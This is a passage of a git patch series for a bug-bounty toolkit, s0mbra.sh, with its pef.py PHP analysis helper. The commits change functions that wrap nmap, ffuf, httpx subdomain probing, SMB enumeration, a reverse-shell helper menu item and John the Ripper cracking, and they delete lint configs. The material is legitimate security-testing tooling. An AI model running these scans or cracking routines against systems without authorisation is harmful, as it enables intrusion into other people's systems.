;; rockyou_john) rockyou_john "$2" "$3" @@ -909,26 +876,26 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http_server $GRAY[PORT] [STACK]$CLR\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN ssh_to_john $GRAY[ID_RSA]\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]\t\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN john_pot\t\t\t$LIGHTGREEN(JohnTheRipper)$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 6f2bd813c03a9b6050de6abecdc3231bb70b855f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 01:05:24 +0100 Subject: [PATCH 248/289] [pef] Fix duplicates if function name was a part of another function name --- pef/pef.py | 26 ++++++++++++++------------ s0mbra.sh | 8 ++++---- 2 files changed, 18 insertions(+), 16 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 94c0c43..a38fcbe 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,20 +201,22 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - # there has to be space before function call; prevents from false-positives strings contains PHP function names + tokens = [token for token in line.split(' ') if token is not '\n'] + + # check agains @ at the beginning of the function name atfn = f"@{fn}" fn = f"{fn}" - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + for token in tokens: + if token.startswith(fn) or token.startswith(atfn): + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): diff --git a/s0mbra.sh b/s0mbra.sh index fc39a73..11b9a8c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,7 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Full nmap finished, choom!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -46,7 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Quick nmap finished, choom!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -285,7 +285,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -402,7 +402,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "ffuf finished, choom!" with title "s0mbra says:"' } api_fuzz() { From e60d034ea7a9c771b28de5b109a03f7c24020cf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 22:16:29 +0100 Subject: [PATCH 249/289] [pef] fix condition --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a38fcbe..df18390 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,7 +201,7 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token is not '\n'] + tokens = [token for token in line.split(' ') if token != "\n"] # check agains @ at the beginning of the function name atfn = f"@{fn}" From 6d7d6fa5205981ffb340cc73d6dacf73e566f6ea Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 31 Jul 2024 08:20:32 +0100 Subject: [PATCH 250/289] [s0mbra] remove redundant scope recon --- s0mbra.sh | 43 +------------------------------------------ 1 file changed, 1 insertion(+), 42 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 11b9a8c..e4f15d2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -208,43 +208,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# quick subdomain enum + available HTTP server(s) - to find out if a program is -# actually worth to look into :D -scope() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" - done - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log - - # prepare list of uniqe subdomains - cat sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > subdomains_final.log - rm -f step* - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/httpx.log - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -746,9 +709,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - scope) - scope "$2" - ;; peek) peek "$2" ;; @@ -875,8 +835,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 4b60093bf8b40b4bc232be162a552b3888d895e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 12:39:14 +0100 Subject: [PATCH 251/289] [s0mbra] Show only 200 OK in httpx output log --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e4f15d2..d9689de 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,7 +234,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" From ee5cc1a548143d9d656afaaad217cd81cdd35e09 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 13:39:18 +0100 Subject: [PATCH 252/289] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index d9689de..a915a8a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -251,6 +251,26 @@ peek() { osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } + +# httpx only list +webservers() { + START_TIME=$(date) + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log + + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -rf httpx* + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' +} + # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) recon() { @@ -712,6 +732,9 @@ case "$cmd" in peek) peek "$2" ;; + webservers) + webservers + ;; recon) recon "$2" "$3" "$4" ;; @@ -836,6 +859,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ec984bd137d62267789f049990259d6d275795c0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 5 Aug 2024 02:08:12 +0100 Subject: [PATCH 253/289] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a915a8a..f9bfaec 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,19 +254,20 @@ peek() { # httpx only list webservers() { + if [[ -z $1 ]]; then + SUBDOMAINS="subdomains_final.log" + elif [[ -n $1 ]]; then + SUBDOMAINS="$1" + fi START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log - - # cleanup - echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf httpx* + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' } @@ -733,7 +734,7 @@ case "$cmd" in peek "$2" ;; webservers) - webservers + webservers "$2" ;; recon) recon "$2" "$3" "$4" @@ -859,7 +860,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" + echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ecf8d5b78526e668a489a98786d2cfd2ecb375b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:41:32 +0100 Subject: [PATCH 254/289] [diggit] Refactor to Python 3 syntax --- .pylintrc | 407 --------------------------------- .vscode/.ropeproject/config.py | 100 -------- .vscode/.ropeproject/objectdb | Bin 1646 -> 0 bytes diggit/{src => }/diggit.py | 34 ++- 4 files changed, 16 insertions(+), 525 deletions(-) delete mode 100644 .pylintrc delete mode 100644 .vscode/.ropeproject/config.py delete mode 100644 .vscode/.ropeproject/objectdb rename diggit/{src => }/diggit.py (82%) diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 7b7a555..0000000 --- a/.pylintrc +++ /dev/null @@ -1,407 +0,0 @@ -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore=CVS - -# Add files or directories matching the regex patterns to the blacklist. The -# regex matches against base names, not paths. -ignore-patterns= - -# Pickle collected data for later comparisons. -persistent=yes - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. This option is deprecated -# and it will be removed in Pylint 2.0. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once).You can also use "--disable=all" to -# disable everything first and then reenable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use"--disable=all --enable=classes -# --disable=W" -disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating - - -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=text - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". This option is deprecated -# and it will be removed in Pylint 2.0. -files-output=no - -# Tells whether to display a full report or only the messages -reports=yes - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[BASIC] - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -property-classes=abc.abstractproperty - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules= - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=(_+[a-zA-Z0-9]*?$)|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,future.builtins - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/.vscode/.ropeproject/config.py b/.vscode/.ropeproject/config.py deleted file mode 100644 index d1e8f3d..0000000 --- a/.vscode/.ropeproject/config.py +++ /dev/null @@ -1,100 +0,0 @@ -# The default ``config.py`` -# flake8: noqa - - -def set_prefs(prefs): - """This function is called before opening the project""" - - # Specify which files and folders to ignore in the project. - # Changes to ignored resources are not added to the history and - # VCSs. Also they are not returned in `Project.get_files()`. - # Note that ``?`` and ``*`` match all characters but slashes. - # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' - # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' - # '.svn': matches 'pkg/.svn' and all of its children - # 